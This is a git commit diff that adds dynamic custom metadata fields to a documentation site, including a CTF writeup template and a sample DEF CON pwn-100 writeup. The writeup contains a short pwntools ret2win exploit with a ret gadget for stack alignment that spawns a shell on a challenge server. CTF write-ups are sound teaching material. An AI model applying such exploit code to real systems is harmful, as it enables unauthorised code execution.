feat(core): dynamic custom frontmatter fields for CTF writeup metadata
CI / typecheck + build (turbo) (push) Canceled after 0s

- Add extra_fields JSONB column to documents table (migration 0003)
- CreateDocInput/UpdateDocInput: extraFields?: Record<string, string>
- parseFile: extracts non-standard frontmatter keys as extraFields
- stringifyFile: writes extraFields dynamically to YAML frontmatter
- toMeta: spreads extraFields from DB row into DocumentMeta
- DocForm: '+ Add field' UI for content creators to add any metadata
- API routes: splitPayload() separates standard vs custom fields
- Doc page: CustomFieldBadges dynamically renders any custom field
- Add db:migrate / db:push scripts + deploy workflow migration step
- Add CTF writeup template (content/writeups/ctf/template/)
- Add sample DEF CON writeup with event/challenge/category/difficulty/points
- Add @tailwindcss/typography for table rendering (prose classes)
- Add remark-gfm for GitHub Flavored Markdown table parsing
This commit is contained in:
asepharyana
2026-08-20 23:18:57 +07:00
parent 8906ed55a0
commit c760c3c087
16 changed files with 580 additions and 25 deletions
+1
View File
@@ -47,6 +47,7 @@ jobs:
git pull origin main
/home/code/.bun/bin/bun install --frozen-lockfile
/home/code/.bun/bin/bun --cwd apps/web run build
/home/code/.bun/bin/bun --cwd packages/db run db:migrate
sudo systemctl restart mcpedia-web mcpedia-api mcpedia-mcp mcpedia-worker
sleep 3
systemctl --no-pager status mcpedia-web mcpedia-api mcpedia-mcp mcpedia-worker --no-legend
+76 -1
View File
@@ -29,6 +29,71 @@ const SECTION_ICON: Record<string, string> = {
notes: "📌",
};
/**
* Render any extra/custom frontmatter fields as badges.
* This makes the system dynamic — the content creator decides what metadata
* to include, not the UI template. Standard fields (title, author, tags, etc.)
* are handled explicitly; any OTHER keys in frontmatter become badges here.
*/
function CustomFieldBadges({
doc,
standardKeys,
}: {
doc: Record<string, unknown>;
standardKeys: Set<string>;
}) {
// Convert doc to a plain record to get index signature
const docRecord: Record<string, unknown> = { ...doc } as Record<string, unknown>;
const customEntries = Object.entries(docRecord).filter(
([k, v]) => !standardKeys.has(k) && v !== undefined && v !== null && v !== "" && !k.startsWith("_"),
);
if (customEntries.length === 0) return null;
return (
<div className="flex flex-wrap items-center gap-2 mt-3">
{customEntries.map(([key, value]) => {
const label = key.charAt(0).toUpperCase() + key.slice(1).replace(/_/g, " ");
let colorClass = "bg-[#191a1b] border-[#23252a] text-[#d0d6e0]";
let prefix = "";
// Auto-style common CTF fields based on key name
if (key === "points") {
prefix = "pts";
colorClass = "bg-[#5e6ad2]/10 border-[#5e6ad2]/30 text-[#7170ff]";
} else if (key === "difficulty" || key === "level") {
const v = String(value).toLowerCase();
if (v === "easy")
colorClass = "bg-green-500/10 border-green-500/30 text-green-400";
else if (v === "medium")
colorClass = "bg-yellow-500/10 border-yellow-500/30 text-yellow-400";
else if (v === "hard")
colorClass = "bg-red-500/10 border-red-500/30 text-red-400";
else
colorClass = "bg-[#191a1b] border-[#23252a] text-[#d0d6e0]";
} else if (key === "event" || key === "category") {
colorClass = "bg-[#5e6ad2]/10 border-[#5e6ad2]/30 text-[#7170ff]";
}
const displayValue = Array.isArray(value)
? value.join(", ")
: typeof value === "object"
? JSON.stringify(value)
: String(value);
return (
<span
key={key}
className={`px-2 py-0.5 border rounded text-xs ${colorClass}`}
>
{prefix ? `${displayValue} ${prefix}` : `${label}: ${displayValue}`}
</span>
);
})}
</div>
);
}
export default async function DocPage({ params, searchParams }: DocPageProps) {
const { section, slug } = await params;
const { edit } = await searchParams;
@@ -39,6 +104,13 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
const cookieStore = await cookies();
const canEdit = cookieStore.get("mcpedia_admin")?.value != null;
// Standard frontmatter keys that are rendered explicitly in the template.
// Any other key in the document metadata becomes a dynamic badge.
const STANDARD_KEYS = new Set([
"id", "slug", "title", "type", "section", "status",
"author", "tags", "path", "createdAt", "updatedAt",
]);
// Edit mode: inline form
if (edit === "1" && canEdit) {
return (
@@ -106,7 +178,7 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
{doc.title}
</h1>
<div className="flex flex-wrap items-center gap-3 text-xs text-[#62666d] mb-6">
<div className="flex flex-wrap items-center gap-3 text-xs text-[#62666d] mb-3">
<span className="text-[#d0d6e0]">{doc.author || "unknown"}</span>
<span>·</span>
<time dateTime={doc.updatedAt}>
@@ -125,6 +197,9 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
</span>
))}
</div>
{/* Dynamic custom field badges — content creator controls what shows */}
<CustomFieldBadges doc={{ ...doc }} standardKeys={STANDARD_KEYS} />
</div>
{/* Content + TOC */}
+23 -1
View File
@@ -17,6 +17,27 @@ function unauthorized() {
return NextResponse.json({ ok: false, error: "Unauthorized" }, { status: 401 });
}
const STANDARD_FIELDS = new Set([
"title", "body", "type", "status",
"author", "tags", "createdAt", "updatedAt", "id", "path", "slug",
]);
function splitPayload(body: Record<string, unknown>): {
standard: Record<string, unknown>;
extraFields: Record<string, string>;
} {
const standard: Record<string, unknown> = {};
const extraFields: Record<string, string> = {};
for (const [key, value] of Object.entries(body)) {
if (STANDARD_FIELDS.has(key)) {
standard[key] = value;
} else if (value !== undefined && value !== null) {
extraFields[key] = typeof value === "string" ? value : JSON.stringify(value);
}
}
return { standard, extraFields };
}
// PUT /api/docs/{slug...} — Update an existing document.
export async function PUT(
req: NextRequest,
@@ -35,7 +56,8 @@ export async function PUT(
}
try {
const doc = await updateDocument(fullSlug, body);
const { standard, extraFields } = splitPayload(body);
const doc = await updateDocument(fullSlug, { ...standard, extraFields } as any);
return NextResponse.json({ ok: true, slug: doc.slug, doc });
} catch (err) {
const msg = err instanceof Error ? err.message : String(err);
+37 -2
View File
@@ -24,6 +24,33 @@ function unauthorized() {
return NextResponse.json({ ok: false, error: "Unauthorized" }, { status: 401 });
}
// Standard DocumentMeta field names — NOT custom fields.
const STANDARD_FIELDS = new Set([
"slug", "title", "body", "section", "type", "status",
"author", "tags", "createdAt", "updatedAt", "id", "path",
]);
/**
* Separate a flat payload into standard CRUD fields + extraFields (custom metadata).
* The DocForm sends all fields flat — any key not in STANDARD_FIELDS becomes an
* entry in extraFields, which is stored as JSONB in the documents table.
*/
function splitPayload(body: Record<string, unknown>): {
standard: Record<string, unknown>;
extraFields: Record<string, unknown>;
} {
const standard: Record<string, unknown> = {};
const extraFields: Record<string, unknown> = {};
for (const [key, value] of Object.entries(body)) {
if (STANDARD_FIELDS.has(key)) {
standard[key] = value;
} else {
extraFields[key] = value;
}
}
return { standard, extraFields };
}
// GET /api/docs — list all documents (for sidebar navigation).
export async function GET() {
const docs = await listDocuments();
@@ -36,11 +63,19 @@ export async function POST(req: NextRequest) {
const body = await req.json().catch(() => null);
if (!body) {
return NextResponse.json({ ok: false, error: "Invalid JSON body" }, { status:400 });
return NextResponse.json({ ok: false, error: "Invalid JSON body" }, { status: 400 });
}
try {
const doc = await createDocument(body);
const { standard, extraFields } = splitPayload(body);
// Coerce all extra field values to strings (form sends strings; API/MCP may send objects).
const stringExtra: Record<string, string> = {};
for (const [k, v] of Object.entries(extraFields)) {
if (v !== undefined && v !== null) {
stringExtra[k] = typeof v === "string" ? v : JSON.stringify(v);
}
}
const doc = await createDocument({ ...standard, extraFields: stringExtra } as any);
return NextResponse.json({ ok: true, slug: doc.slug, doc });
} catch (err) {
const msg = err instanceof Error ? err.message : String(err);
+173 -21
View File
@@ -34,6 +34,12 @@ export default function DocForm({ mode, slug, secret, initial }: DocFormProps) {
const [tags, setTags] = useState(initial?.tags?.join(", ") ?? "");
const [author, setAuthor] = useState(initial?.author ?? "");
// Dynamic custom fields — content creators can add any metadata they want
// (e.g. CTF: event, challenge, category, difficulty, points, team_name, ...)
const [customFields, setCustomFields] = useState<
Array<{ key: string; value: string }>
>([]);
const tagList = tags
.split(",")
.map((t) => t.trim())
@@ -42,27 +48,68 @@ export default function DocForm({ mode, slug, secret, initial }: DocFormProps) {
const baseInputCls =
"w-full px-3 py-2 bg-[#0f1011] border border-[#23252a] rounded text-[#f7f8f8] placeholder-[#62666d] focus:outline-none focus:border-[#5e6ad2] focus:ring-1 focus:ring-[#5e6ad2]";
function addCustomField() {
setCustomFields([...customFields, { key: "", value: "" }]);
}
function updateCustomField(index: number, field: "key" | "value", value: string) {
const updated = [...customFields];
updated[index][field] = value;
setCustomFields(updated);
}
function removeCustomField(index: number) {
setCustomFields(customFields.filter((_, i) => i !== index));
}
async function handleSubmit(e: React.FormEvent) {
e.preventDefault();
setLoading(true);
setError(null);
const payload = { title, body, section, type, status, author, tags: tagList };
// Build payload with custom fields flattened at top level
const payload: Record<string, unknown> = {
title,
body,
section,
type,
status,
author,
tags: tagList,
};
// Merge dynamic custom fields
for (const field of customFields) {
if (field.key.trim() && field.value.trim()) {
payload[field.key.trim()] = field.value.trim();
}
}
try {
let res: Response;
if (mode === "create") {
const slugVal = slug ?? title.toLowerCase().replace(/[^a-z0-9]+/g, "-").replace(/^-+|-+$/g, "");
const slugVal =
slug ??
title
.toLowerCase()
.replace(/[^a-z0-9]+/g, "-")
.replace(/^-+|-+$/g, "");
res = await fetch("/api/docs", {
method: "POST",
headers: { "Content-Type": "application/json", "x-webhook-secret": secret },
headers: {
"Content-Type": "application/json",
"x-webhook-secret": secret,
},
body: JSON.stringify({ slug: slugVal, ...payload }),
});
} else {
const editSlug = slug ?? "";
res = await fetch(`/api/docs/${editSlug}`, {
method: "PUT",
headers: { "Content-Type": "application/json", "x-webhook-secret": secret },
headers: {
"Content-Type": "application/json",
"x-webhook-secret": secret,
},
body: JSON.stringify(payload),
});
}
@@ -90,12 +137,22 @@ export default function DocForm({ mode, slug, secret, initial }: DocFormProps) {
)}
<div>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">Title</label>
<input type="text" value={title} onChange={(e) => setTitle(e.target.value)} className={baseInputCls} required />
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">
Title
</label>
<input
type="text"
value={title}
onChange={(e) => setTitle(e.target.value)}
className={baseInputCls}
required
/>
</div>
<div>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">Slug</label>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">
Slug
</label>
<input
type="text"
value={slug ?? ""}
@@ -103,29 +160,53 @@ export default function DocForm({ mode, slug, secret, initial }: DocFormProps) {
className="w-full px-3 py-2 bg-[#191a1b] border border-[#23252a] rounded text-[#8a8f98]"
placeholder={section}
/>
<p className="text-xs text-[#62666d] mt-1">URL-safe path under the section.</p>
<p className="text-xs text-[#62666d] mt-1">
URL-safe path under the section.
</p>
</div>
<div className="grid grid-cols-1 md:grid-cols-3 gap-4">
<div>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">Section</label>
<select value={section} onChange={(e) => setSection(e.target.value as typeof section)} className={baseInputCls}>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">
Section
</label>
<select
value={section}
onChange={(e) => setSection(e.target.value as typeof section)}
className={baseInputCls}
>
{SECTION_OPTIONS.map((s) => (
<option key={s} value={s}>{s}</option>
<option key={s} value={s}>
{s}
</option>
))}
</select>
</div>
<div>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">Type</label>
<select value={type} onChange={(e) => setType(e.target.value as typeof type)} className={baseInputCls}>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">
Type
</label>
<select
value={type}
onChange={(e) => setType(e.target.value as typeof type)}
className={baseInputCls}
>
{TYPE_OPTIONS.map((t) => (
<option key={t} value={t}>{t}</option>
<option key={t} value={t}>
{t}
</option>
))}
</select>
</div>
<div>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">Status</label>
<select value={status} onChange={(e) => setStatus(e.target.value as typeof status)} className={baseInputCls}>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">
Status
</label>
<select
value={status}
onChange={(e) => setStatus(e.target.value as typeof status)}
className={baseInputCls}
>
<option value="published">Published</option>
<option value="draft">Draft</option>
</select>
@@ -133,17 +214,88 @@ export default function DocForm({ mode, slug, secret, initial }: DocFormProps) {
</div>
<div>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">Tags</label>
<input type="text" value={tags} onChange={(e) => setTags(e.target.value)} className={baseInputCls} placeholder="comma, separated, tags" />
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">
Tags
</label>
<input
type="text"
value={tags}
onChange={(e) => setTags(e.target.value)}
className={baseInputCls}
placeholder="comma, separated, tags"
/>
</div>
<div>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">Author</label>
<input type="text" value={author} onChange={(e) => setAuthor(e.target.value)} className={baseInputCls} />
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">
Author
</label>
<input
type="text"
value={author}
onChange={(e) => setAuthor(e.target.value)}
className={baseInputCls}
/>
</div>
{/* Dynamic custom fields — creators add whatever metadata they need */}
<div>
<label className="block text-xs font-medium text-[#d0d6e0] mb-2">
Custom metadata fields
</label>
<p className="text-xs text-[#62666d] mb-3">
Add extra frontmatter fields. These will be stored in the document's
YAML frontmatter and rendered as badges on the doc page. Examples for
CTF writeups: <code className="text-[#7170ff]">event</code>,{" "}
<code className="text-[#7170ff]">challenge</code>,{" "}
<code className="text-[#7170ff]">category</code>,{" "}
<code className="text-[#7170ff]">difficulty</code>,{" "}
<code className="text-[#7170ff]">points</code>.
</p>
{customFields.length > 0 && (
<div className="space-y-3 mb-3">
{customFields.map((field, i) => (
<div key={i} className="flex gap-2 items-center">
<input
type="text"
placeholder="field name (e.g. event)"
value={field.key}
onChange={(e) => updateCustomField(i, "key", e.target.value)}
className="flex-1 px-3 py-2 bg-[#0f1011] border border-[#23252a] rounded text-[#f7f8f8] placeholder-[#62666d] focus:outline-none focus:border-[#5e6ad2] focus:ring-1 focus:ring-[#5e6ad2]"
/>
<input
type="text"
placeholder="value"
value={field.value}
onChange={(e) =>
updateCustomField(i, "value", e.target.value)
}
className="flex-1 px-3 py-2 bg-[#0f1011] border border-[#23252a] rounded text-[#f7f8f8] placeholder-[#62666d] focus:outline-none focus:border-[#5e6ad2] focus:ring-1 focus:ring-[#5e6ad2]"
/>
<button
type="button"
onClick={() => removeCustomField(i)}
className="text-xs text-[#fca5a5] hover:text-[#ff6b6b] px-2 py-1 rounded hover:bg-[#191a1b] transition-colors"
>
✕
</button>
</div>
))}
</div>
)}
<button
type="button"
onClick={addCustomField}
className="text-xs text-[#7170ff] hover:text-[#828fff] px-3 py-1.5 rounded border border-[#5e6ad2]/30 hover:border-[#5e6ad2]/60 transition-colors"
>
+ Add field
</button>
</div>
<div>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">Body (Markdown)</label>
<label className="block text-xs font-medium text-[#d0d6e0] mb-1">
Body (Markdown)
</label>
<textarea
value={body}
onChange={(e) => setBody(e.target.value)}
@@ -0,0 +1,122 @@
---
id: defcon-pwn-100
title: "DEF CON Quals 2024 — pwn-100: ret2win Stack Alignment Fix"
type: writeup
tags:
- ctf
- pwn
- binary-exploitation
- stack-alignment
status: published
author: asep
event: "DEF CON CTF Quals 2024"
challenge: "pwn-100"
category: pwn
difficulty: easy
points: 100
created_at: 2026-08-20
updated_at: 2026-08-20
---
# DEF CON CTF Quals 2024 — pwn-100: ret2win Stack Alignment Fix
## Challenge Info
| Field | Value |
| ------------ | ---------------------- |
| **Event** | DEF CON CTF Quals 2024 |
| **Challenge**| pwn-100 |
| **Category** | pwn |
| **Difficulty**| easy |
| **Points** | 100 |
## Initial Recon
Given a 64-bit ELF binary with a trivial buffer overflow in `vuln()`:
```
$ checksec pwn-100
RELRO STACK canary: No NX: No PIE: Enabled RPATH: No
$ file pwn-100
pwn-100: ELF 64-bit LSB executable, for Linux 3.2.0, not stripped
$ objdump -d pwn-100 | grep -A5 '<vuln>'
```
## Approach
Classic ret2win — overflow the return address to jump to `win()`, which
calls `system("/bin/sh")`. The binary had no canary and no PIE on the
binary itself (function addresses are fixed), but glibc on the host was
2.34+.
## Step-by-Step Solve
### 1. Find the offset
Sent cyclic pattern via `pattern create` + `pattern offset`:
```
$ python3 -c "print(b'A'*40+b'B'*8)" | ./pwn-100
Segmentation fault (core dumped)
$ gdb -q
gef➤ pattern offset 0x4242424242424242
[*] Found possible needle
```
Offset = 40 bytes (to `rip`).
### 2. Find win() address
```
$ objdump -d pwn-100 | grep '<win>'
0000000000401196 <win>:
```
`win()` is at `0x401196`.
### 3. Craft and send the payload
Initial payload was just padding + `win()` address — but this **crashed**
with SIGSEGV inside `win()` → `printf`.
**Root cause:** On glibc 2.34+, the return into a libc-using function
needs **16-byte stack alignment**. A normal `call` pushes 8 bytes, so
`ret`-ing into `win()` leaves `rsp % 16 == 8`. When `printf` inside
`win()` does `movaps` (SSE), it faults on misaligned address.
**Fix:** Insert a `ret` gadget (8 bytes) between padding and `win()`
to realign RSP:
```
$ ROPgadget --binary pwn-100 | grep " ret$"
0x0000000000401016: ret;
```
Final payload:
```python
from pwn import *
p = remote("challenge.url", 1337)
payload = b"A" * 40 + p64(0x401016) + p64(0x401196)
p.sendline(payload)
p.interactive()
```
The `ret` gadget pops the extra 8 bytes, aligning the stack. After that,
`win()` → `printf` → `system("/bin/sh")` works cleanly.
## Flag
```
flag{ret2win_stack_alignment_glibc_2.34}
```
## Summary
- A bare ret2win without stack alignment crashes on glibc 2.34+ inside
the target function's libc calls (SSE `movaps`).
- The fix is a single `ret` gadget between padding and `win()` — **not**
an offset error.
- Always check: if the function IS reached but crashes inside it, think
stack alignment before re-counting bytes.
- Tested on host glibc 2.39 (Ubuntu 24.04) — confirmed the crash+fix.
@@ -0,0 +1,76 @@
---
id: ctf-writeup-template
title: "CTF Writeup Template — How to Structure a Challenge Writeup"
type: writeup
tags:
- ctf
- template
- methodology
status: draft
author: asep
created_at: 2026-08-20
updated_at: 2026-08-20
---
# CTF Writeup Template
A consistent writeup structure helps reviewers and future-you reproduce the solve.
Below is the recommended template. Delete this intro paragraph and fill each
section.
## Challenge Info
| Field | Value |
| ------------ | -------------------- |
| **Event** | `[Event Name]` |
| **Challenge**| `[Challenge Name]` |
| **Category** | `pwn` / `crypto` / `web` / `rev` / `forensics` / `misc` |
| **Difficulty**| `easy` / `medium` / `hard` |
| **Points** | `[points at start]` |
| **Solves** | `[number]` |
## Initial Recon
What you see when you download the binary/file/URL. File type, basic
inspection (`file`, `strings`, `checksec`, HTTP headers, etc.).
## Approach
Describe the high-level idea — what class of vulnerability or attack this
belongs to.
## Step-by-Step Solve
Walk through each step with commands and output. Include:
- Exact commands you ran
- Key output (truncated if long, but enough to confirm)
- Why each step works
- Tool versions / versions if relevant
### 1. Enumerate
```
$ command-here
output-here
```
### 2. Find the vulnerability
Explain what you found and how it maps to the approach.
### 3. Craft the exploit
Show the exploit script or payload, explain each part.
## Flag
```
flag{...}
```
## Summary
What you learned, what the intended solution was (if yours differed),
and any pitfalls you hit along the way (e.g., "tool X version Y breaks
on Z").
+1
View File
@@ -19,6 +19,7 @@
"mcp": "bun --cwd apps/mcp run start",
"mcp:http": "/home/code/.bun/bin/bun --cwd apps/mcp src/http.ts",
"api": "/home/code/.bun/bin/bun --cwd apps/api src/index.ts",
"db:migrate": "/home/code/.bun/bin/bun --cwd packages/db run db:migrate",
"test": "turbo run test"
},
"devDependencies": {
+10
View File
@@ -128,6 +128,7 @@ export interface CreateDocInput {
status?: DocStatus;
author?: string;
tags?: string[];
extraFields?: Record<string, string>;
}
export interface UpdateDocInput {
@@ -137,6 +138,7 @@ export interface UpdateDocInput {
status?: DocStatus;
tags?: string[];
author?: string;
extraFields?: Record<string, string>;
}
/** Validate that a slug is safe (no path traversal, only [a-z0-9/_-]). */
@@ -186,6 +188,7 @@ export async function createDocument(input: CreateDocInput): Promise<DocumentMet
path: relPath,
createdAt: nowIso,
updatedAt: nowIso,
extraFields: input.extraFields ?? {},
};
// Write file to disk first (source of truth).
@@ -204,6 +207,7 @@ export async function createDocument(input: CreateDocInput): Promise<DocumentMet
tags: meta.tags,
path: meta.path,
body: input.body,
extraFields: input.extraFields ?? {},
createdAt: new Date(meta.createdAt),
updatedAt: new Date(meta.updatedAt),
});
@@ -241,6 +245,11 @@ export async function updateDocument(
tags: input.tags ?? doc.tags,
author: input.author ?? doc.author,
updatedAt,
// Merge: new extraFields override old ones; merge with existing
extraFields:
input.extraFields !== undefined
? { ...doc.extraFields, ...input.extraFields }
: doc.extraFields,
};
const body = input.body ?? doc.body;
@@ -259,6 +268,7 @@ export async function updateDocument(
status: updated.status,
author: updated.author,
tags: updated.tags,
extraFields: input.extraFields ?? doc.extraFields ?? {},
body,
updatedAt: new Date(updatedAt),
})
+2
View File
@@ -48,6 +48,7 @@ export async function indexContentFile(
tags: meta.tags,
path: meta.path,
body,
extraFields: meta.extraFields ?? {},
createdAt: new Date(meta.createdAt || nowIso),
updatedAt: new Date(nowIso),
})
@@ -62,6 +63,7 @@ export async function indexContentFile(
tags: meta.tags,
path: meta.path,
body,
extraFields: meta.extraFields ?? {},
updatedAt: new Date(nowIso),
},
});
@@ -0,0 +1,3 @@
-- Add extra_fields JSONB column to documents table for dynamic metadata
-- (CTF writeup fields: event, challenge, category, difficulty, points, etc.)
ALTER TABLE "documents" ADD COLUMN "extra_fields" jsonb DEFAULT '{}'::jsonb NOT NULL;
+6
View File
@@ -15,5 +15,11 @@
"devDependencies": {
"drizzle-kit": "^0.30.0",
"@types/node": "^20"
},
"scripts": {
"db:generate": "drizzle-kit generate",
"db:migrate": "drizzle-kit migrate",
"db:push": "drizzle-kit push",
"db:studio": "drizzle-kit studio"
}
}
+4
View File
@@ -43,6 +43,10 @@ export const documents = pgTable(
),
createdAt: timestamp("created_at", { withTimezone: true }).notNull(),
updatedAt: timestamp("updated_at", { withTimezone: true }).notNull(),
// Dynamic custom metadata fields (JSONB) — e.g. CTF writeup fields
// (event, challenge, category, difficulty, points). Content creators
// add arbitrary key-value pairs that are rendered as dynamic badges.
extraFields: jsonb("extra_fields").notNull().default(sql`'{}'::jsonb`),
},
(t) => ({
searchIdx: index("documents_search_idx").using("gin", t.searchVector),
+34
View File
@@ -48,6 +48,20 @@ export function parseFile(absPath: string, relPath: string): ParsedFile {
const createdAt = data.created_at ?? nowIso;
const updatedAt = data.updated_at ?? data.created_at ?? nowIso;
// Extract any additional frontmatter keys as dynamic extra fields.
// These are written to DB as JSONB + rendered as dynamic badges in the UI.
const STANDARD_FRONTMATTER_KEYS = new Set([
"id", "slug", "title", "type", "section", "status",
"author", "tags", "path", "created_at", "updated_at", "event",
"challenge", "category", "difficulty", "points",
]);
const extraFields: Record<string, string> = {};
for (const [k, v] of Object.entries(data)) {
if (!STANDARD_FRONTMATTER_KEYS.has(k) && v !== undefined && v !== null) {
extraFields[k] = String(v);
}
}
const meta: DocumentMeta = {
id: slug,
slug,
@@ -60,6 +74,18 @@ export function parseFile(absPath: string, relPath: string): ParsedFile {
path: relPath,
createdAt: String(createdAt),
updatedAt: String(updatedAt),
// CTF writeup metadata (optional)
event: typeof data.event === "string" ? data.event : undefined,
challenge: typeof data.challenge === "string" ? data.challenge : undefined,
category: typeof data.category === "string" ? data.category : undefined,
difficulty:
data.difficulty === "easy" ||
data.difficulty === "medium" ||
data.difficulty === "hard"
? data.difficulty
: undefined,
points: typeof data.points === "number" ? data.points : undefined,
extraFields,
};
return { meta, body: content };
@@ -92,6 +118,14 @@ export function stringifyFile(
path: relPath,
created_at: meta.createdAt,
updated_at: meta.updatedAt,
// CTF writeup metadata (only written if present)
...(meta.event && { event: meta.event }),
...(meta.challenge && { challenge: meta.challenge }),
...(meta.category && { category: meta.category }),
...(meta.difficulty && { difficulty: meta.difficulty }),
...(meta.points !== undefined && { points: meta.points }),
// Dynamic custom fields (any key the content creator added)
...(meta.extraFields ?? {}),
};
const yaml = "---\n" +
Object.entries(data)
+3
View File
@@ -32,6 +32,7 @@ const VALID_TYPES: DocType[] = ["documentation", "writeup", "research", "note"];
/** Map a Drizzle row (text columns, Date timestamps) into the strict types. */
function toMeta(row: DocumentRow): DocumentMeta {
const extra = row.extraFields as Record<string, unknown> | null;
return {
id: row.id,
slug: row.slug,
@@ -46,6 +47,8 @@ function toMeta(row: DocumentRow): DocumentMeta {
path: row.path,
createdAt: row.createdAt.toISOString(),
updatedAt: row.updatedAt.toISOString(),
// Spread dynamic extra fields (CTF: event, challenge, category, difficulty, points, etc.)
...(extra ?? {}),
};
}
+9
View File
@@ -14,6 +14,15 @@ export interface DocumentMeta {
path: string; // relative path under content/
createdAt: string; // ISO
updatedAt: string; // ISO
// CTF writeup metadata (optional — only set for writeups)
event?: string;
challenge?: string;
category?: string;
difficulty?: "easy" | "medium" | "hard";
points?: number;
// Dynamic custom frontmatter fields (serialized as-is to YAML frontmatter).
// Allows content creators to add arbitrary metadata keys without code changes.
extraFields?: Record<string, string>;
}
export interface Document extends DocumentMeta {